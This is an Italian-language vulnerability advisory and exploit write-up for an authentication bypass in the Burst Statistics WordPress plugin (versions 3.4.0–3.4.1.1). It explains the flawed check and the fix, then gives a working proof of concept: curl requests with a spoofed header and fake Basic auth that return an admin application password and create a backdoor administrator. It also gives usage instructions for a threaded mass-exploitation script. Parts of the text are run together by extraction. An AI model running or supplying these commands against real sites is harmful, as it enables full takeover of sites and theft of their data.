
Il plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) per WordPress è vulnerabile al bypass dell'autenticazione.
Riepilogo della vulnerabilità
Il plugin WordPress Burst Statistics versioni dalla 3.4.0 alla 3.4.1.1 è vulnerabile a un bypass dell'autenticazione non autenticato che porta al takeover completo dell'account amministratore. Questa falla critica consente a un aggressore non autenticato che conosce un qualsiasi nome utente amministratore di generare una password per applicazioni WordPress valida per quell'account in una singola richiesta HTTP, ottenendo accesso amministrativo persistente a tutto il sito.
La vulnerabilità deriva dalla funzione is_mainwp_authenticated() in class-mainwp-proxy.php. Questa funzione chiama wp_authenticate_application_password() e controlla solo se il risultato è un WP_Error. Non verifica se il risultato è effettivamente un oggetto WP_User riuscito. Quando il filtro interno di WordPress application_password_is_api_request restituisce — cosa che accade quando la chiamata viene effettuata al di fuori del normale flusso di autenticazione dell'API REST — la funzione WordPress restituisce invece di un o un . Poiché non è un , il controllo viene superato e l'utente amministratore scelto dall'aggressore viene impostato come utente corrente tramite .
falsenullWP_ErrorWP_UsernullWP_Errorwp_set_current_user()Una volta che l'utente corrente viene cambiato in un amministratore, i successivi controlli delle capacità vengono superati. L'aggressore può quindi raggiungere l'endpoint REST /burst/v1/mainwp-auth, che crea una password per applicazioni WordPress per l'account amministratore e la restituisce nella risposta. Questo concede all'aggressore un accesso amministrativo persistente e completo.
Plugin interessato
| Campo | Valore |
|---|---|
| Nome Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Slug Plugin | burst-statistics |
| Versioni Affette | 3.4.0 – 3.4.1.1 |
| Versione Corretta | 3.4.2 |
| ID CVE | CVE-2026-8181 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo di Vulnerabilità | Bypass dell'autenticazione (Autenticazione impropria) |
| CWE | CWE-287 — Autenticazione impropria |
| Impatto | Takeover completo del sito — Takeover dell'account amministratore |
Cosa può fare un aggressore
| Capacità | Impatto |
|---|---|
| Generare password per applicazioni per qualsiasi amministratore | Accesso amministrativo persistente |
| Creare nuovi account amministratore tramite l'API REST | Proliferazione degli account |
| Installare plugin/temi | Esecuzione di codice remoto |
| Modificare post, pagine e impostazioni | Deturpazione del sito |
| Esportare o eliminare tutti i dati del sito | Distruzione/esfiltrazione dei dati |
| Accedere ai dati di WooCommerce/dei clienti | Violazione dei dati |
Analisi tecnica
Burst Statistics si inizializza durante l'hook plugins_loaded di WordPress con priorità 9, all'interno di class-burst.php:
// class-burst.php, linea 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() è il gatekeeper per tutte le funzionalità amministrative. Controlla l'intestazione X-BurstMainWP e chiama la funzione vulnerabile:
// trait-admin-helper.php, righe 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, righe 313-342 (vulnerabile 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABILE: wp_authenticate_application_password() restituisce null
// al di fuori del flusso di autenticazione dell'API REST
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Controlla solo se il risultato è un WP_Error. null NON è WP_Error → SUPERATO!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() restituisce nullLa funzione interna di WordPress wp_authenticate_application_password() ha un filtro:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Non è una richiesta API, salta l'autenticazione della password per app
}
Quando viene chiamata al di fuori del flusso di autenticazione dell'API REST, restituisce null. Il codice di Burst Statistics controllava solo is_wp_error($is_valid) — null non è un WP_Error, quindi il controllo viene superato in modo errato.
X-BurstMainWP: 1 con qualsiasi richiestahas_admin_access() attiva is_mainwp_authenticated()wp_authenticate_application_password() restituisce null (non in contesto API)is_wp_error(null) = false → controllo superatowp_set_current_user($admin_id) viene eseguito/burst/v1/mainwp-authhandle_auth_request() genera una password per applicazioni WordPressbase64(username:app_password)// class-mainwp-proxy.php, righe 399-415 (corretto 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Correzioni applicate:
application_password_is_api_request a true in modo che avvenga la reale validazione della passwordWP_User (non null)hash_equals() per verificare la corrispondenza del nome utenteInoltre, check_auth_permission() per l'endpoint REST è stato rafforzato per richiedere current_user_can('manage_burst_statistics') e la verifica esplicita del nonce per le richieste autenticate da cookie.
Proof of Concept
# Passo 1: Verificare che il target sia vulnerabile (genera una password per applicazioni)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Risposta: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Passo 2: Decodifica del token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Passo 3: Utilizzare la password per applicazioni per creare un nuovo amministratore
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
Lo script exploit_burst_statistics.py automatizza l'intera catena d'attacco:
readme.txt, intestazione del plugin o stringhe di query degli assetX-BurstMainWP: 1 + falso Basic Auth per generare tokenFunzionalità dell'exploit
/wp-json/) che "ugly" (/?rest_route=)ThreadPoolExecutorUtilizzo
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
Crea targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
| Flag | Descrizione |
|---|---|
-t, --target | URL di un singolo target |
-l, --list | File con l'elenco dei target (uno per riga) |
-T, --threads | Thread per la scansione di massa (default: 10) |
-o, --output | File di output per i risultati (default: result_burst_statistics.txt) |
-u, --username | Nome utente amministratore noto (salta l'enumerazione) |
-v, --verbose | Output di debug verboso |
--timeout | Timeout della richiesta in secondi (default: 20) |
--no-confirm | Salta il prompt di conferma dei permessi |
Raccomandazioni per la correzione
Per sviluppatori e proprietari di siti:
X-BurstMainWP: 1Cronologia
| Data | Evento |
|---|---|
| 2026-05-08 | CVE riservato |
| 2026-05-11 | Fornitore notificato |
| 2026-05-13 | Divulgazione pubblica |
| 2026-05-13 | Patch rilasciata (v3.4.2) |
| 2026-05-15 | Sfruttamento attivo segnalato in natura |
Ricercatore
Riferimenti
Disclaimer
Queste informazioni sono fornite esclusivamente a scopo didattico e per test di penetrazione autorizzati. Lo sfruttamento non autorizzato di sistemi informatici è illegale e non etico. Ottenere sempre un'autorizzazione esplicita e scritta prima di testare qualsiasi target che non si possiede.